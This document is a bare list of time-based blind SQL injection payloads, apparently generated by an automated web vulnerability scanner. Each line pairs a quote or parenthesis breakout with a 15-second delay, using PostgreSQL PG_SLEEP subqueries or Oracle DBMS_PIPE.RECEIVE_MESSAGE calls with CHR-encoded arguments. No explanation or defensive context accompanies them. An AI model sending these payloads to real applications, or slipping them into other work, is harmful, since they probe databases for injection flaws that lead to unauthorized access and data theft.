555-1 OR 648=(SELECT 648 FROM PG_SLEEP(15))--

555-1) OR 289=(SELECT 289 FROM PG_SLEEP(15))--

555-1)) OR 651=(SELECT 651 FROM PG_SLEEP(15))--

555MnMLBOt5' OR 20=(SELECT 20 FROM PG_SLEEP(15))--

555kb9aTFKz') OR 274=(SELECT 274 FROM PG_SLEEP(15))--

555bnSOltGe')) OR 88=(SELECT 88 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555